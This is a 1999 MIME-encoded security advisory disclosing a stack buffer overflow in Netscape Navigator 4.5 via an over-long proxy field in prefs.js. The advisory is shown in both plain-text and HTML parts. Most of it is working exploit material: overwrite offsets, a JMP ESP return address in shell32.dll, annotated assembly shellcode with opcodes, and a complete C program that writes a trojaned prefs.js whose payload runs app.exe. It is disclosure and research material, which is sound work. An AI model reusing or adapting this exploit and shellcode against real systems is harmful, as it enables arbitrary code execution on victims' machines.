This is a multi-part message in MIME format. ------=_NextPart_000_0017_01BF4C70.00D57320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Netscape Navigator/Communicator 4.5 buffer overflow advisory -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D Author: Steve Fewer, darkplan@oceanfree.net http://indigo.ie/~lmf -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D Introduction: I recently uncovered a stack based buffer overflow in NN which allowed me to execute arbitrary code. It is a local Attack where the offending party is the users 'prefs.js' file, usually stored in c:\program files\netscape\users\*** where *** is a user. It occurs when NN reads in an entry greater than 80 bytes in the network.proxy.http field. Netscape have been notified of this problem. E.g. user_pref("network.proxy.http","AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB CCCC"); The EBP is overrun at bytes 81 - 84 and the EIP is overrun at bytes 85 - 89, from there on your code can be placed. The first 80 bytes get blown away when you smash the stack but you are left with a possible 500 bytes or more for your exploit code, (500 was the most I checked). You're first byte of code is pointed to by the ESP. To concoct an exploit for this to see if it was actually exploitable I pointed my EIP into a 'JMP ESP' located at 7FD035EB in shell32.dll (v4.72.3110.6) which NN loads. Having got back to my exploit buffer I simply made it execute a file called app.exe, which should be located in \windows\command\ and then made it call exit() to tidy up so we don't cause an access violation, obviously there is room for a more insidious exploit but I don't view this as an enormously dangerous security flaw so it didn't warrant writing anything more sophisticated. For protection you could try the latest version of NN which is 4.7. This was all created/tested on Windows98 running on an Intel PII400 with 128MB RAM. The Shell Code: This is the assembly which runs a file app.exe and then calls exit() to clean up. The op codes are to the right. I called system() at address 78019824 in msvcrt.dll v6.00.8397.0 to run app.exe and exit() at address 78005504 in the same DLL to tidy up. mov esp,ebp // 8BE5 push ebp // 55 mov ebp,esp // 8BEC xor edi,edi // 33FF push edi // 57 sub esp,04h // 83EC04 mov byte ptr [ebp-08h],61h // C645F861 mov byte ptr [ebp-07h],70h // C645F970 mov byte ptr [ebp-06h],70h // C645FA70 mov byte ptr [ebp-05h],2Eh // C645FB2E mov byte ptr [ebp-04h],65h // C645FC65 mov byte ptr [ebp-03h],78h // C645FD78 mov byte ptr [ebp-02h],65h // C645FE65 mov eax, 0x78019824 // B824980178 push eax // 50 lea eax,[ebp-08h] // 8D45F8 push eax // 50 call dword ptr[ebp-0ch] // FF55F4 push ebp // 55 mov ebp,esp // 8BEC mov edx,0xFFFFFFFF // BAFFFFFFFF sub edx,0x87FFAAFB // 81EAFBAAFF87 push edx // 52 xor eax,eax // 33C0 push eax // 50 call dword ptr[ebp-04h] // FF55FC The Exploit: <-snip-> /* Stack based buffer overflow exploit for Netscape Navigator 4.5 * Author Steve Fewer, 22-12-99. Mail me at darkplan@oceanfree.net * * Netscape Navigator causes a buffer overflow when reading from * the users "prefs.js" file. If it reads a string longer than 80 * bytes in the user_pref("network.proxy.http", "proxy.com"); * field it smashes the stack overwrighting the EIP and EBP. This * can be used to execute arbitrary code. * * Tested with Netscape Navigator 4.5 using Windows98 on an Intel * PII 400 with 128MB RAM * * http://indigo.ie/~lmf */ #include #include int main() { printf("\n\n\t\t........................................\n"); printf("\t\t.....Netscape Navigator 4.5 exploit.....\n"); printf("\t\t........................................\n"); printf("\t\t.....Author: Steve Fewer, 22-12-1999....\n"); printf("\t\t.........http://indigo.ie/~lmf..........\n"); printf("\t\t........................................\n\n"); // the first 80 bytes. These get blown away when the stack goes = down. char buff[96]; // the EBP, we don't need to use it so fill it with B's char ebp[8] =3D "BBBB"; // we point the EIP into msvcrt.dll v6.00.8397.0 where we find a JMP = ESP @ 7FD035EB char eip[8] =3D "\xEB\x35\xD0\x7F"; // the is our 'arbitrary code', it just runs a file app.exe from the = \WINDOWS\COMMAND directory then calls exit() to clean up char sploit[128] =3D = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x61\xC6\x45\xF9\x70\xC6= \x45\xFA\x70\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\= x65\xB8\x24\x98\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x55\x8B\xEC\xBA\x= FF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC"; FILE *file; for(int i=3D0;i<80;i++) { buff[i] =3D 0x90; } // just create our new, 'trojand' prefs.js file file =3D fopen("prefs.js","wb"); // and slap in the the nasty sploit fprintf(file,"user_pref(\"network.proxy.http\", \"%s%s%s%s\");", = buff, ebp, eip, sploit); printf("\t created file prefs.js loaded with the exploit.\n"); return 0; } <-snip-> -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D ------=_NextPart_000_0017_01BF4C70.00D57320 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Netscape=20 Navigator/Communicator 4.5 buffer overflow=20 advisory
-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D
Author:=20 Steve Fewer, darkplan@oceanfree.net
&nbs= p;            = ;       =20 http://indigo.ie/~lmf
-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D
 
Introduction:
 
I recently = uncovered a=20 stack based buffer overflow in NN
which allowed me to execute = arbitrary code.=20 It is a local
Attack where the offending party is the users=20 'prefs.js'
file, usually stored in c:\program=20 files\netscape\users\***
where *** is a user. It occurs when NN reads = in an=20 entry
greater than 80 bytes in the network.proxy.http = field.
Netscape have=20 been notified of this problem.
 
E.g.
 
user_pref("network.proxy.http","AAAAAAAAAAAAAAAAAAAAAAAAAA
AA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
CCCC");
 
The EBP is = overrun at bytes=20 81 - 84 and the EIP is overrun
at bytes 85 - 89, from there on your = code can=20 be placed.
 
The first = 80 bytes get=20 blown away when you smash the stack
but you are left with a possible = 500=20 bytes or more for your
exploit code, (500 was the most I checked). = You're=20 first byte
of code is pointed to by the ESP.
 
To concoct = an exploit for=20 this to see if it was actually
exploitable I pointed my EIP into a = 'JMP ESP'=20 located at
7FD035EB in shell32.dll (v4.72.3110.6) which NN = loads.
Having=20 got back to my exploit buffer I simply made it
execute a file called = app.exe,=20 which should be located in
\windows\command\ and then made it call = exit() to=20 tidy up
so we don't cause an access violation, obviously there = is
room for=20 a more insidious exploit but I don't view this as
an enormously = dangerous=20 security flaw so it didn't warrant
writing anything more=20 sophisticated.
 
For = protection you could=20 try the latest version of NN which
is 4.7.
 
This was = all created/tested=20 on Windows98 running on an Intel
PII400 with 128MB = RAM.
 

The = Shell=20 Code:
 
This is the = assembly which=20 runs a file app.exe and then
calls exit() to clean up. The op codes = are to=20 the right.
I called system() at address 78019824 in=20 msvcrt.dll
v6.00.8397.0 to run app.exe and exit() at address = 78005504
in=20 the same DLL to tidy up.
 
    mov=20 esp,ebp           =             &= nbsp;=20 // 8BE5
    push=20 ebp           &nbs= p;            = ;   =20 // 55
    mov=20 ebp,esp           =             &= nbsp;=20 // 8BEC
    xor=20 edi,edi           =             &= nbsp;=20 // 33FF
    push=20 edi           &nbs= p;            = ;   =20 // 57
    sub=20 esp,04h           =             &= nbsp;=20 // 83EC04
    mov byte ptr=20 [ebp-08h],61h          //=20 C645F861
    mov byte ptr=20 [ebp-07h],70h          //=20 C645F970
    mov byte ptr=20 [ebp-06h],70h          //=20 C645FA70
    mov byte ptr=20 [ebp-05h],2Eh          //=20 C645FB2E
    mov byte ptr=20 [ebp-04h],65h          //=20 C645FC65
    mov byte ptr=20 [ebp-03h],78h          //=20 C645FD78
    mov byte ptr=20 [ebp-02h],65h          //=20 C645FE65
    mov eax,=20 0x78019824          &nb= sp;     =20 // B824980178
    push=20 eax           &nbs= p;            = ;   =20 // 50
    lea=20 eax,[ebp-08h]          =         =20 // 8D45F8
    push=20 eax           &nbs= p;            = ;   =20 // 50
    call dword=20 ptr[ebp-0ch]          &= nbsp; =20 // FF55F4
    push=20 ebp           &nbs= p;            = ;   =20 // 55
    mov=20 ebp,esp           =             &= nbsp;=20 // 8BEC
    mov=20 edx,0xFFFFFFFF          = ;       =20 // BAFFFFFFFF
    sub=20 edx,0x87FFAAFB          = ;       =20 // 81EAFBAAFF87
    push=20 edx           &nbs= p;            = ;   =20 // 52
    xor=20 eax,eax           =             &= nbsp;=20 // 33C0
    push=20 eax           &nbs= p;            = ;   =20 // 50
    call dword=20 ptr[ebp-04h]          &= nbsp; =20 // FF55FC
 

The=20 Exploit:
 
<-snip->
 
/* Stack = based buffer=20 overflow exploit for Netscape Navigator 4.5
 * Author Steve = Fewer,=20 22-12-99. Mail me at darkplan@oceanfree.net
&nbs= p;*
 *=20 Netscape Navigator causes a buffer overflow when reading from
 * = the=20 users "prefs.js" file. If it reads a string longer than 80
 * = bytes in=20 the user_pref("network.proxy.http", "proxy.com");
 * field it = smashes=20 the stack overwrighting the EIP and EBP. This
 * can be used to = execute=20 arbitrary code.
 *
 * Tested with Netscape Navigator 4.5 = using=20 Windows98 on an Intel
 * PII 400 with 128MB = RAM
 *
 * http://indigo.ie/~lmf
 */
 
#include=20 <stdio.h>
#include <string.h>
 
int=20 main()
{
 
   =20 printf("\n\n\t\t........................................\n");
 &n= bsp; =20 printf("\t\t.....Netscape Navigator 4.5 = exploit.....\n");
   =20 printf("\t\t........................................\n");
  =  =20 printf("\t\t.....Author: Steve Fewer, = 22-12-1999....\n");
   =20 printf("\t\t.........http://indigo.ie/~lmf..........\n");
  =  =20 printf("\t\t........................................\n\n");=
 
    // the=20 first 80 bytes. These get blown away when the stack goes=20 down.
    char buff[96];
    // the = EBP, we=20 don't need to use it so fill it with B's
    char = ebp[8] =3D=20 "BBBB";
    // we point the EIP into msvcrt.dll = v6.00.8397.0=20 where we find a JMP ESP @ 7FD035EB
    char eip[8] =3D = "\xEB\x35\xD0\x7F";
    // the is our 'arbitrary = code', it=20 just runs a file app.exe from the \WINDOWS\COMMAND directory then calls = exit()=20 to clean up
    char sploit[128] =3D=20 "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x61\xC6\x45\xF9\x70\xC6= \x45\xFA\x70\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\= x65\xB8\x24\x98\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x55\x8B\xEC\xBA\x= FF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";
&= nbsp;  =20 FILE *file;
        for(int=20 i=3D0;i<80;i++)
       =20 {
        buff[i] =3D=20 0x90;
        = }
    //=20 just create our new, 'trojand' prefs.js file
    file = =3D=20 fopen("prefs.js","wb");
    // and slap in the the = nasty=20 sploit
    = fprintf(file,"user_pref(\"network.proxy.http\",=20 \"%s%s%s%s\");", buff, ebp, eip, sploit);
 
   =20 printf("\t     created file prefs.js loaded with the = exploit.\n");
 
return=20 0;
}
 
<-snip->
 

-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D
<= /BODY> ------=_NextPart_000_0017_01BF4C70.00D57320--